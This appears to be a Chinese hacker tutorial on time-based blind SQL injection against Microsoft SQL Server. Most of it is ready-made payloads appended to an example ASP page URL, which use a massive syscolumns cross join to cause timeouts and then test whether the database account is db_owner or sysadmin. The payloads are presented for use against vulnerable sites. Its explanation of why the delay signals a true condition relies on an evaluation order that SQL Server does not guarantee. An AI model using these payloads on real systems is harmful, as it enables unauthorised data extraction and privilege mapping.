基于超时的MSSQL盲目注入

lyl270010678

假设有这么一个文件，无论你怎么注入它页面内容都一样。但是他代码却确实存在注入点。
select * from table where columnid = $input_id
通过文件返回错误来注入是绝对不可能的。因为他页面内容始终一样。这样的漏洞页面绝对有的。
自己可以构造出来。

这时候我们怎么注入列？
我们用 基于时间的盲目注入。

先看两条语句:

select * from sysobjects where id=1 and (SELECT count(*) FROM syscolumns AS sys1,
syscolumns as sys2,syscolumns AS sys3,syscolumns AS sys4,syscolumns AS sys5,syscolumns AS sys6)>0
and 1=1

select * from sysobjects where id=1 and (SELECT count(*) FROM syscolumns AS sys1,
syscolumns as sys2,syscolumns AS sys3,syscolumns AS sys4,syscolumns AS sys5,syscolumns AS sys6)>0
and 1=2

第一条语句绝对超时，网页在半小时内应该不会返回结果，第二条马上就返回结果。
如果你测试结果跟我说的有出入，那么你就把
syscolumns as sys2,syscolumns AS sys3,syscolumns AS sys4,syscolumns AS sys5,syscolumns AS sys6
换成
syscolumns as sys2,syscolumns AS sys3,syscolumns AS sys4,syscolumns AS sys5,syscolumns AS sys6.....syscolumns AS sys100
一共100个，还不超时你的电脑就是外星的了。

好现在假设漏洞页面http://127.0.0.1/xml/mssql/index.asp?id=1

我们来这样注入:


http://127.0.0.1/xml/mssql/index.asp?id=1 and (SELECT count(*) FROM syscolumns AS sys1,
syscolumns as sys2,syscolumns AS sys3,syscolumns AS sys4,syscolumns AS sys5,syscolumns AS sys6)>0
and 1=1

http://127.0.0.1/xml/mssql/index.asp?id=1 and (SELECT count(*) FROM syscolumns AS sys1,
syscolumns as sys2,syscolumns AS sys3,syscolumns AS sys4,syscolumns AS sys5,syscolumns AS sys6)>0
and 1=2

如果返回时间相差N多，那么绝对有注入。现在我们来判断权限。

http://127.0.0.1/xml/mssql/index.asp?id=1 and (SELECT count(*) FROM syscolumns AS sys1,
syscolumns as sys2,syscolumns AS sys3,syscolumns AS sys4,syscolumns AS sys5,syscolumns AS sys6)>0
and 1=(SELECT IS_MEMBER('db_owner'))

http://127.0.0.1/xml/mssql/index.asp?id=1 and(SELECT count(*) FROM syscolumns AS sys1,
syscolumns as sys2,syscolumns AS sys3,syscolumns AS sys4,syscolumns AS sys5,syscolumns AS sys6)>0
and 1=(SELECT IS_MEMBER('sysadmin'))

其他注入参考网上其他的教程了。
只要修改and 1=(SELECT IS_MEMBER('sysadmin'))就行。

因为如果你的条件不成立，那么
(SELECT count(*) FROM syscolumns AS sys1,
syscolumns as sys2,syscolumns AS sys3,syscolumns AS sys4,syscolumns AS sys5,syscolumns AS sys6)>0
判断就不会进入，如果你的条件成立
(SELECT count(*) FROM syscolumns AS sys1,
syscolumns as sys2,syscolumns AS sys3,syscolumns AS sys4,syscolumns AS sys5,syscolumns AS sys6)>0
判断就会执行完。
所以，如果网页超时，表示你的条件就成立。
你就猜中了信息。如果不超时，证明你的猜测条件是错误的。